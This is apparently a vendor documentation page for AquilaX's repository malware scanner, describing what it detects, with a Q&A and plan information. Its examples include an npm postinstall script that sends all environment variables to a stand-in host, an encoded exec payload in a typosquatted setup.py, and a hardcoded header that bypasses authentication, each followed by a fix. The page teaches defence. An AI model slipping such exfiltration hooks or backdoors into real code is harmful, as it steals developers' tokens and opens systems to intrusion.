Malware scanning for repositories

Malware scanning looks for code that may have been added to cause harm. Review each finding before you decide that it is malicious.

Included in Ultimate.

In AquilaX

AquilaX security policy editor with a switch for each scanner
Turn malware scanning on or off in a group security policy.

Screenshots that show scan results use our public test apps, which are vulnerable on purpose. Select an image to enlarge it.

What it looks for

Backdoors

Hidden ways to get access to a system.

Hidden code

Code that has been made difficult to read and may be harmful.

Dependencies

Signs of malicious code in third-party packages.

Examples

These examples show common problems and safer ways to write the code. They are not AquilaX results, and scanner coverage can vary.

A postinstall hook that ships your tokens

CWE-506npmCritical
Vulnerable · node_modules/some-dep/
// package.json
"scripts": { "postinstall": "node lib/setup.js" }

// lib/setup.js
const https = require("https");
const d = Buffer.from(JSON.stringify(process.env)).toString("base64");
https.get("https://telemetry-cdn.example/p?d=" + d);
Why it's exploitable

npm runs postinstall automatically, on laptops and in CI. That environment usually holds NPM_TOKEN, GITHUB_TOKEN and cloud keys.

Real npm attacks, including the 2025 Shai-Hulud worm, used this exact route.

The fix
$ npm uninstall some-dep
$ npm ci --ignore-scripts   # in CI
# then rotate every token that was in that environment

An encoded payload in a typosquatted package

CWE-506PyPICritical
Vulnerable · requets/setup.py
import base64
exec(base64.b64decode(
  "aW1wb3J0IG9zLGpzb24sdXJsbGliLnJlcXVlc3QgYXMg"
  "dTt1LnVybG9wZW4oJ2h0dHA6Ly8yMDMuMC4xMTMuMTEv..."
))
setup(name="requets", version="2.31.0", ...)
Why it's exploitable

A normal setup.py has no reason to decode and run a hidden string. This one runs during pip install and posts your environment variables to a remote server.

Look at the name too: requets, one letter away from requests.

The fix
$ pip uninstall requets
# requirements.txt: pin the real package with hashes
requests==2.32.3 --hash=sha256:...
$ pip install --require-hashes -r requirements.txt

A one-line authentication backdoor

CWE-912Node.jsCritical
Vulnerable · middleware/auth.js
function requireAuth(req, res, next) {
  if (req.get("X-Debug-Session") === "b7e1c0d4") return next();
  const token = req.get("Authorization")?.split(" ")[1];
  if (!verify(token)) return res.sendStatus(401);
  next();
}
Why it's exploitable

One line, easy to miss in a 400-line PR, and anyone who knows the header skips login. It might be a leftover debug hook or something an insider planted. Either way it's a backdoor.

The fix
function requireAuth(req, res, next) {
  const token = req.get("Authorization")?.split(" ")[1];
  if (!verify(token)) return res.sendStatus(401);
  next();
}

What to know

  • Hidden or unusual code is not always malicious. Ask someone with security experience to review it.
  • A scan with no findings does not prove that a repository is safe.
  • If you find malicious code, do not run the project. Isolate any affected systems and follow your incident response plan.

See all scanners How to fix findings

Questions and answers

Is this an antivirus product?

No. It checks code repositories. It does not protect computers or servers while they are running.

What should I do with a suspicious finding?

Do not run the code. Keep a copy as evidence, find out where it came from and ask your security team to review it.

What is the difference between malware scanning and SCA?

Malware scanning looks for code that may be harmful on purpose. SCA looks for known vulnerabilities in open-source packages. A package can have either problem, or both.

Does no malware finding mean my project is safe?

No. Malicious code can be hidden or use methods that the scanner does not recognise. Use trusted sources, review changes and limit what builds can access.

Can a malicious package have no CVE?

Yes. Malicious packages are not always given a CVE. Check package names, maintainers and unexpected changes, as well as known vulnerabilities.

Why might safe code be reported?

Safe code can sometimes look suspicious, for example if it is hard to read or runs system commands. Ask someone with security experience to check it before you dismiss the finding.

Can I try malware scanning in the Premium trial?

No. Malware scanning is part of Ultimate, and the trial covers Premium. Talk to sales to see it.

Which plan includes this scanner?

Included in Ultimate. Compare plans.

Try it on one of your repositories

Create a free account and run a scan. If you need Ultimate, self-hosting or a larger rollout, talk to our team.

No credit card needed. Read the documentation